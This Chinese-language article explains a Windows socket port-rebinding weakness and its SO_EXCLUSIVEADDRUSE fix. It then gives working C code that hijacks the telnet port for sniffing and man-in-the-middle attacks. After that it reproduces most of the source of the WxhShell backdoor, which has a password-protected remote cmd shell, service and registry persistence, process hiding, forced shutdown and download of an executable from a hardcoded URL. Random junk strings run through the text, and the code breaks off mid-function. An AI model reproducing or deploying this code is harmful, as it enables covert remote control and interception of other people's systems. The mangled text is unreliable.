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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m?bd6'&FR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vHSX3\( )\#w=P saddr.sin_family = AF_INET; 3`[f<XaL Sn=|Q4ZN saddr.sin_addr.s_addr = htonl(INADDR_ANY); -3`S;Dmn 0;
GnR 0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q`k=VSUk ep`WYR|B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tj/X7| (PAkKY} 这意味着什么?意味着可以进行如下的攻击: 4#Wczk-b `(s&H8x# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >a7'_n_o ~Z-M?8: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0Y[LzLn WBT/;),}: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R{Q*"sf 1Q1NircJ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,>% 2`Z) A*#.7Np!" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mOji\qia 6vp\~J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G?$|aQ0j "]h4L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ` b a}6D 6)63Yp( #include [r,a0s #include fa7Z=:aG #include s&:LY"[` #include L&V;Xvbu% DWORD WINAPI ClientThread(LPVOID lpParam); 70bI}/u int main() Pf&\2_H3s9 { x_Zi^ ] WORD wVersionRequested; NH&/= DWORD ret; 3db ,6R WSADATA wsaData; Sc03vfmo"N BOOL val; }z{2~ 0, SOCKADDR_IN saddr; l_tr,3_w SOCKADDR_IN scaddr; \HX'^t` int err; W"
>[sn| SOCKET s; Za68V/Vj SOCKET sc; y)iT-$bQ int caddsize; wBz?OnD/D HANDLE mt; +-tvNX%IJ DWORD tid; ^<X+t&!z wVersionRequested = MAKEWORD( 2, 2 ); N~7xj? err = WSAStartup( wVersionRequested, &wsaData ); !$&k@#v: if ( err != 0 ) { jo 0
d# printf("error!WSAStartup failed!\n"); 'z$ BgXh\ return -1; r}kQ<SRx } &)`xlIw} saddr.sin_family = AF_INET; i#Tm] ++ Qvc "?yx8} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K;,zE6WD$$ wh4ik`S 1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;UuCSfs{ saddr.sin_port = htons(23); 7<{g+Q~7* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p!qV!: { ^Ud1 ag!- printf("error!socket failed!\n"); \a\-hm return -1; U9k;)fK } "f^s*I val = TRUE; -*xm<R], //SO_REUSEADDR选项就是可以实现端口重绑定的 B-Bgk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]D(!ua5|x` { TG4?"0`I5 printf("error!setsockopt failed!\n"); B#RBR<MFC return -1; #OlU|I } y/U(v"'4U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g '2'K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %04N"^mT'~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :`('lrq Qtj.@CGB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eeKErpj8A { 05=
$Dnv ret=GetLastError(); /{Ff)<Q.Z printf("error!bind failed!\n"); I5EKS0MQ! return -1; 8!8 yA } )1 ]P4 listen(s,2); 4n6EkTa while(1) [:M:6JJ { UcaLi& caddsize = sizeof(scaddr); M "QT(u+ //接受连接请求 &!/E&e$_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "rhU2jT=c if(sc!=INVALID_SOCKET) \XDc{c] { Axb,{X[6g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ['9awgkr/ if(mt==NULL) Py^ _:: { U*Q1(C printf("Thread Creat Failed!\n"); Dn{
hU$* break; +?"N5%a%F } .Up\ 0|b } u,h ,;'J CloseHandle(mt); Ns?qLSN } Xvy3D@o closesocket(s); X|o;*J]( WSACleanup(); <ezv return 0; 5/U|oZM" } M#<U=Ha DWORD WINAPI ClientThread(LPVOID lpParam) <'s_3AC { 8?p40x$m% SOCKET ss = (SOCKET)lpParam; "S8JHHx SOCKET sc; :|j,x7&/{ unsigned char buf[4096]; T-"zK r! SOCKADDR_IN saddr; hC1CISm.U long num; zJ-_{GiM*L DWORD val; }M3f ?Jv DWORD ret; y"N7r1Pf //如果是隐藏端口应用的话,可以在此处加一些判断 <*D{uMw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ,&+"|,m saddr.sin_family = AF_INET; ]IX6>p, saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ql~9a
[8T~ saddr.sin_port = htons(23); CKC%|xke if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ii0{$}eoh { :X1~ printf("error!socket failed!\n"); 3O{*~D&n return -1; ?&qa3y)wX: } +rT%C&ze val = 100; &yu3nA:7D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lr>:S { Xz/5Wis4 ret = GetLastError(); z^@.b return -1; $bf&ct*$h } )C?bb$
G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7d9kr?3(U { &G#LQl ret = GetLastError(); cvoE4&m! return -1; T6T3:DG_B } m
2tw[6M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6??o(ziK$ { d4y?2p ?3 printf("error!socket connect failed!\n"); r'!HWR closesocket(sc); E
cS+/ closesocket(ss); "EA6RFRD return -1; N?Wx-pK } X<pg^Y0 while(1) BQ X6Q< { nIRJ5|G( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rE:"8d}z //如果是嗅探内容的话,可以再此处进行内容分析和记录 gmCW__oR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zDEX `~c num = recv(ss,buf,4096,0); J<p.J3I if(num>0) M:%6$`` send(sc,buf,num,0); 2Fi~GY_ else if(num==0) 4r'QP .h break; 7'c ;$~ num = recv(sc,buf,4096,0); +I>u${sVx* if(num>0) <K^{36h send(ss,buf,num,0); HC%tJ:G else if(num==0) hxwo<wEg break; RK7vR~kf< } wjJM\BKr` closesocket(ss); wR7Ja
cKv closesocket(sc); GM1z@i\5 return 0 ; M
@|n"(P } IJWUNKqo= uL\b*rI jkTh)Bm|' ========================================================== Se0!-NUK0 2kP0// 下边附上一个代码,,WXhSHELL & XS2q0-x }6Ut7J]a| ========================================================== Z&f@)j O9+Dd%_KS# #include "stdafx.h" h8nJt>h -?jI{].:8 #include <stdio.h> A*1-2 #include <string.h> .G ^-.p #include <windows.h> #hp7@ Tu #include <winsock2.h> {}sF?wZf #include <winsvc.h> gD13(G98 #include <urlmon.h> uX.^zg]}% 2)iwAu
#pragma comment (lib, "Ws2_32.lib") +ESEAi91 #pragma comment (lib, "urlmon.lib") M2pe*z >9WJa 5{ #define MAX_USER 100 // 最大客户端连接数 UN
FQ`L #define BUF_SOCK 200 // sock buffer [`F}<L." #define KEY_BUFF 255 // 输入 buffer 5%qq#;[n X.q, #define REBOOT 0 // 重启 TFfV?rBI #define SHUTDOWN 1 // 关机 &dH[lB 5Kadh2nz #define DEF_PORT 5000 // 监听端口 & bKl(, $;4y2?E #define REG_LEN 16 // 注册表键长度 9<e%('@[ #define SVC_LEN 80 // NT服务名长度 e_<'zH_1 _u[2R=h // 从dll定义API &oz^dlw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Az+k8=? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (G>S`B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s6U$]9 ` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S'%|40U -qbx:Kk( // wxhshell配置信息 [NxC7p:Lo struct WSCFG { v>XAzA int ws_port; // 监听端口 4# L}& char ws_passstr[REG_LEN]; // 口令 yt5Sy int ws_autoins; // 安装标记, 1=yes 0=no s6DmZ^Y% char ws_regname[REG_LEN]; // 注册表键名 Rudj"OGO char ws_svcname[REG_LEN]; // 服务名 1Fg*--8[r char ws_svcdisp[SVC_LEN]; // 服务显示名 A^2n i=b char ws_svcdesc[SVC_LEN]; // 服务描述信息 |;(95 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P&>!B,f int ws_downexe; // 下载执行标记, 1=yes 0=no 6>yfm4o char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ~nVO%IxM4J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 azs lNL a-cLy*W,~ }; Lhts4D/V7 bwC~ // default Wxhshell configuration
&H4Y`xV^= struct WSCFG wscfg={DEF_PORT, Qm"&=< "xuhuanlingzhe", yd}1Mx 1, ?rJe"TOIy "Wxhshell", W0I)< S "Wxhshell", PM?F;mj "WxhShell Service", bQvhBa? "Wrsky Windows CmdShell Service", D<QE?:# "Please Input Your Password: ", <dD)>Y. 1, %W(/W9B$/F " http://www.wrsky.com/wxhshell.exe", -MK9IO]i "Wxhshell.exe" FxFRrRRH@ }; {^T_m)|n j; MQ_?"iN // 消息定义模块 8|"26UwD/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iwXMe(k char *msg_ws_prompt="\n\r? for help\n\r#>"; *el~sor;S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 1_jd1UT char *msg_ws_ext="\n\rExit."; NimW=X;c char *msg_ws_end="\n\rQuit."; G<$N*3 char *msg_ws_boot="\n\rReboot..."; @Y&UP char *msg_ws_poff="\n\rShutdown..."; '!DS3zEeLS char *msg_ws_down="\n\rSave to "; tP.jJC~ NQmdEsK char *msg_ws_err="\n\rErr!"; q:/3uC7
char *msg_ws_ok="\n\rOK!"; ^[6S]Ft( W5^<4Ya! char ExeFile[MAX_PATH]; ${F4x "x int nUser = 0; +F4SU(T HANDLE handles[MAX_USER]; jU9\BYUg int OsIsNt; )Jaq5OMA/ [0?W>A*h SERVICE_STATUS serviceStatus; lVYrP|# SERVICE_STATUS_HANDLE hServiceStatusHandle; E*Z # fa TPF5 ? // 函数声明 @}<b42 int Install(void); l+UUv]:1 int Uninstall(void); T&q0TBT int DownloadFile(char *sURL, SOCKET wsh); \3WQ<t)W int Boot(int flag); s# 9*`K void HideProc(void); aGml!N5' int GetOsVer(void); -<{;.~nI. int Wxhshell(SOCKET wsl); u85dG7 void TalkWithClient(void *cs); cuoZ:Wh int CmdShell(SOCKET sock); '* eeup int StartFromService(void); b6?&h:{k int StartWxhshell(LPSTR lpCmdLine); K(3_1*e )j+G4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X-<l+WP VOID WINAPI NTServiceHandler( DWORD fdwControl ); vve L|j nJhaI // 数据结构和表定义 (3Dz'X SERVICE_TABLE_ENTRY DispatchTable[] = o()No_.8H { [e`e bn[C {wscfg.ws_svcname, NTServiceMain}, )>]@@Trx {NULL, NULL} YHOo6syk }; M~ku4ZP 0a}a // 自我安装 @~CXnc0 int Install(void) P;U(2;9 N { )Y &RMYy char svExeFile[MAX_PATH]; -(lCM/h HKEY key; fc<~R strcpy(svExeFile,ExeFile); >]<4t06D d` X1cG // 如果是win9x系统,修改注册表设为自启动 !dV2:`|+ if(!OsIsNt) { @#2KmM~I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Q9I
W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z=6zc-$y 9 RegCloseKey(key); !T"jvDYH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +GvPJI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x(+H1D\W RegCloseKey(key); T9\G,;VQ7/ return 0; 'w8p[h
(, } VC X^D)[- } =$-+~ } a797'{j#PI else { 2_GbK- ]ne // 如果是NT以上系统,安装为系统服务 isU4D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q*ixg$> if (schSCManager!=0) *TgD{>s { [ 0z-X7=e SC_HANDLE schService = CreateService )?;+<, ( V [Wo9Y\ schSCManager, a7}O.NDf wscfg.ws_svcname, yHf:/8Z wscfg.ws_svcdisp, ~0Z.,p_ SERVICE_ALL_ACCESS, KA? J: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FEA t6 SERVICE_AUTO_START, }u]7 x:lh SERVICE_ERROR_NORMAL, KP&$Sl svExeFile, =`ECM7 NULL, |@BX*r NULL, rcz9\@M NULL, vMzBp#MT NULL, i :|e#$x NULL _>E=.$ ); @y2cC6+'t if (schService!=0) 9/h[(qvT { 8l*h\p:Q CloseServiceHandle(schService); FGzn|I CloseServiceHandle(schSCManager); X@ S~D7|ja strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q.bxnta" strcat(svExeFile,wscfg.ws_svcname); $kBcnk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <~zPt&C]V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :n,x?bM RegCloseKey(key); ?|Ey WAL return 0; v Q51-.g } BB imP } #~ZaN;u CloseServiceHandle(schSCManager); @a i2A| } 9y*2AaxW } 5KTPlqm0qF 6[,7g&C return 1; @77+K:9I7 } $ZkT G g?N^9B,$2 // 自我卸载 t=fr`|! int Uninstall(void) w!jY(WKU { PlR$s HKEY key; e5d STc` phR:=Ox|1 if(!OsIsNt) { 89j*uT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { trZU_eouI RegDeleteValue(key,wscfg.ws_regname); c{j)beaS RegCloseKey(key); uann'ho?q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s6k(K>Pl RegDeleteValue(key,wscfg.ws_regname); S1#5oy2 RegCloseKey(key); F#^/=AR' return 0; 7c!#e=W@B } owx0J,,G } mFmxEv } tL M@o|: else { gwbV$[.X Z*'<9l_1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |G/U%?` if (schSCManager!=0) C]&/k_k { ?)H:.]7-x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sd/7# if (schService!=0) vxS4YR b { V
n+a-v if(DeleteService(schService)!=0) { (7ujJ}#, CloseServiceHandle(schService); 2(5/#$t CloseServiceHandle(schSCManager); Sx1|Oq] return 0; [ldBI3 } "m`}J*s" CloseServiceHandle(schService); X\kWJQ: } 2BiFP|| CloseServiceHandle(schSCManager); (+SL1O P } :j? MEeu } 6xFchdMG{m Dutc#?bT return 1; PZVH=dagq } p6&<eMwFA yxi&80$ // 从指定url下载文件 %, S{9q int DownloadFile(char *sURL, SOCKET wsh) o]WcODJdl { y>cLG5v HRESULT hr;
#jsN char seps[]= "/"; sL,|+>7T^M char *token; tt|P-p- char *file; -f*5lkO char myURL[MAX_PATH]; |;\pAZ2 char myFILE[MAX_PATH]; y&/bp<Z MnlD87x@X strcpy(myURL,sURL); b~2LD3"3 token=strtok(myURL,seps); CF:L#r while(token!=NULL) S f6%A { z<%dWz file=token; _9dW+ token=strtok(NULL,seps); _
^'QHWP } (*kKfg4Wj nd$92H GetCurrentDirectory(MAX_PATH,myFILE); luW"| strcat(myFILE, "\\"); /|3~LvIt= strcat(myFILE, file); KWM.e1( send(wsh,myFILE,strlen(myFILE),0); U'u_'5{ send(wsh,"...",3,0); ~NB|BwAh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mDk6@Gd@U if(hr==S_OK) {pdPp|YDZ- return 0; hl0\$ else hAsReZ? return 1; _ gGA/ U2LD_-HZ } rGrR; G9Noch9
g // 系统电源模块 4 Dy1M}7 int Boot(int flag) 'u%vpvF { vz)R84 HANDLE hToken; {Us^4Xe TOKEN_PRIVILEGES tkp; B@S~v+Gr |bhv7(_ if(OsIsNt) { *>2e4j] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BHiG3fP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m WHyk "l tkp.PrivilegeCount = 1; !p76I=H% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2%pU'D: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _BONN6=*y if(flag==REBOOT) { e*}:tH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ysPm4am$ return 0; `PUxR8y } s}-j.jzB{ else { $j8CF3d.6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fP6\Ur return 0; =M}tet
} } It<VjN9
} bxzx@sF2l else { HAo=t if(flag==REBOOT) { 'nq~1 >i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f96`n+>xi return 0; i8p$wf"aW } m#R"~ > else { A6J:!sY4A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -ssmj8:Q\| return 0; L8H:,} 2 } 1wH6 hN, } ^>>9? ,F*HZBNFZ return 1; O jNOvh&N } ~d3@x\I? eo@8?>}{X // win9x进程隐藏模块 >ts}\.(] void HideProc(void) R]o0V*n { Z9MR"!0 O} (sn HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W /*?y & if ( hKernel != NULL ) 2(x|
% { X
@pm !c# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ExN$J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t: oQHhO? FreeLibrary(hKernel); gz~ug35 } Jt#HbAY +0j{$MPZ return; Zy.A9Bh~ } h_\(
$" _n!>*A! // 获取操作系统版本 Kv9FqrDj int GetOsVer(void) kM[!UOnC!< { $06('Hg& OSVERSIONINFO winfo; 'U*#71S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dh.{lvlX| GetVersionEx(&winfo); jl]3B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yyd]s\W return 1; {:b~^yW else Ju&FwY+ return 0; ylb)SXBf } H "5,To 'n1$Y%t // 客户端句柄模块 .{ZJywE< int Wxhshell(SOCKET wsl) J7C?Z { SSTn| SOCKET wsh; *M*WjEOA struct sockaddr_in client; xWqV~NnE DWORD myID; :475FPy] <}h<By) while(nUser<MAX_USER) tN_=&|{WE4 { J]w3iYK int nSize=sizeof(client); )siWc_Z4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xit@.:a; if(wsh==INVALID_SOCKET) return 1; Nd_A8H,&B eM5-v- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n%G[Y^^, if(handles[nUser]==0) /OB) \{- closesocket(wsh); )db:jPkwd else V~
MsGj nUser++; -3ANNj } k3e6y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6Vncr} G<k.d"< return 0; mPqKk } :-<30LS$ %`K{0b // 关闭 socket HmkxE void CloseIt(SOCKET wsh) x7G)^ { 7=yjd)Iy9m closesocket(wsh); w^^l, nUser--; nd,\<}uP9 ExitThread(0); Y<kz+d,C } W(Md0* :8`$BbV // 客户端请求句柄 B
u%%O8 void TalkWithClient(void *cs) t#8QyN { ZMr[:,Jp EkRx/ SOCKET wsh=(SOCKET)cs; LR!%iP char pwd[SVC_LEN]; =S6bP<q char cmd[KEY_BUFF]; KKb7dZbt< char chr[1];
zY@0R`{@p int i,j; nk_X_y GA`
bWl while (nUser < MAX_USER) { r..f$FF)\ c`hENPhW if(wscfg.ws_passstr) { #8
^b] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -sdzA6dp //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gd`7Tf)' //ZeroMemory(pwd,KEY_BUFF); YlT&.G i=0; 2TQZu3$c while(i<SVC_LEN) { z_ '!?K{ t^>P,%$ // 设置超时 V2AsZc0U( fd_set FdRead; M;'GnGFf struct timeval TimeOut; {QmK4(k?|c FD_ZERO(&FdRead); *93=}1gN FD_SET(wsh,&FdRead); ^'du@XCf} TimeOut.tv_sec=8; w8jpOvj TimeOut.tv_usec=0; <HTz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pDJN}XtjT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r#_0_I1[ R]Z#VnL@qz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !>ZBb\EyK pwd =chr[0]; =sv?))b` if(chr[0]==0xd || chr[0]==0xa) { Nu3IYS5& pwd=0; T-GvPl9ZJw break; cTn(Tv9s } VAjl?\}6 i++; {q+gm1iC } .@EzHe ^W :?= 1aiS // 如果是非法用户,关闭 socket JY"J} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /.rj\, } ,3eN& }.U(Gxu$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OC-d5P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wu11)HFL|z uOKD# while(1) { bG* l_ ?/5<}W#7} ZeroMemory(cmd,KEY_BUFF); xluAjOQ6 hVT>HER // 自动支持客户端 telnet标准 $FIJI^Kd7 j=0; >Di`zw~ while(j<KEY_BUFF) { *SI,K)BP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
v0(}"0 cmd[j]=chr[0]; VKu_l if(chr[0]==0xa || chr[0]==0xd) { <0hVDk~ cmd[j]=0; K4E2W9h break; =B'Yx } )+hJi/g j++; _8-1wx } Er8F_,M+ W!kF(O
NA // 下载文件
._;It198f if(strstr(cmd,"http://")) { Xt:j~cVA send(wsh,msg_ws_down,strlen(msg_ws_down),0); lA4J# if(DownloadFile(cmd,wsh)) 38l:Y" send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z*4Uij else "?<`]WG\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /#"9!8%V } yLnTIE 3) else { bO6cv{>x fpjFO&ML switch(cmd[0]) { |F'eT
4 e.(d?/!F_ // 帮助 ygm6(+ case '?': { |a /cw" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %iYro8g!, break; +!`$( } Ln+ k_ // 安装 *!Gb_!98 case 'i': { ~R=p[h) if(Install()) Eg&Q,dH[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\ )WMP else MIZ!+[At send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [xGL0Z%)t break; e$Y7V } RLLL=?W@ // 卸载 tpeMq- case 'r': { kDE:KV<"c if(Uninstall()) Dk")/ ib send(wsh,msg_ws_err,strlen(msg_ws_err),0); -sle7 k else Aq(, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w)YTHY(k; break; &?y|Pn } |\"%Dy[m // 显示 wxhshell 所在路径 i*09m^r case 'p': { \Km+>G char svExeFile[MAX_PATH]; 7<2?NLE8* strcpy(svExeFile,"\n\r"); eCg|@d% D strcat(svExeFile,ExeFile); lD_iIe~c send(wsh,svExeFile,strlen(svExeFile),0); kZ:~m1dd break; |qf9-36 } *l0i}"T^_ // 重启 GIR12%-EO case 'b': { 1OqVNp%K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f_hG2Sk if(Boot(REBOOT)) $m+Pl[s send(wsh,msg_ws_err,strlen(msg_ws_err),0); *_Pkb.3R else { t)(>E'X
x closesocket(wsh); 8jLO-^X<< ExitThread(0); s>>lf&7 } ,d=Dicaz break; b+CvA(* } gKPqU @$* // 关机 :
9zEne4 case 'd': { k9\n='OI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f|yq~3x) if(Boot(SHUTDOWN)) 3zM>2)T- send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wHfc[b> else { Dl}va closesocket(wsh); S|IDFDn ExitThread(0); IZ.b } (51;cj>J break; |FFMQ" } RT9%E/m // 获取shell j2n
4; m case 's': { 3}.OSt'= CmdShell(wsh); !#WJ(zSq closesocket(wsh); X%B2xQM5 ExitThread(0); =A"z.KfV break; jwwst\f } eN<?rVZl // 退出 Mt121Q&" case 'x': { $')Uie<!8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q }9n. CloseIt(wsh); G)9`Qn break; T=pKen/ } O0mQHpi: // 离开 AAc2u^spx case 'q': { +2s][^-KV send(wsh,msg_ws_end,strlen(msg_ws_end),0); z}7U>y6` closesocket(wsh); cn_ *,\} WSACleanup(); LQ"xm exit(1); H.2aoZ-w break; (*!4O>] } :Ui'x8yt } H<`7){iG } M;@/697G `{J(S'a` // 提示信息 >9Y0t^Fl if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _#o75*42tT } #}'sknvM} } x^UAtKSy HR?a93 return; '494^1"io } G0x!:[ '[[*(4a3 // shell模块句柄 [8`^_i=# int CmdShell(SOCKET sock) ery{>|k { 28xLaob STARTUPINFO si; ~NO'8Mr ZeroMemory(&si,sizeof(si)); 1swqs7rR| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (R{z3[/u& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]LSlo593 PROCESS_INFORMATION ProcessInfo; 0 9*?'^s4 char cmdline[]="cmd"; TJ(vq] |& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hb9r.;r<EW return 0; 'jU ;.vZex } v;R+{K87 0 aiE0b9c // 自身启动模式 T7XbbU int StartFromService(void) T4"*w { x*F_XE1#M typedef struct jX91=78d { M4}zRr([.5 DWORD ExitStatus; &vS @-K DWORD PebBaseAddress; ;8<lgZ9H< DWORD AffinityMask; Kdd5ysTQ DWORD BasePriority; #TY[\$BHs ULONG UniqueProcessId; d0 yZ9-t ULONG InheritedFromUniqueProcessId; %@[ ~s,6< } PROCESS_BASIC_INFORMATION; .^?Z3iA", 1`EkN0iZ PROCNTQSIP NtQueryInformationProcess; fmk(} -gLU>I7wV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *
n>YS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |K$EULzz ] Y6y ]u HANDLE hProcess; i.>d#S PROCESS_BASIC_INFORMATION pbi; 17;qJ_T) 4ew#@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v@]\
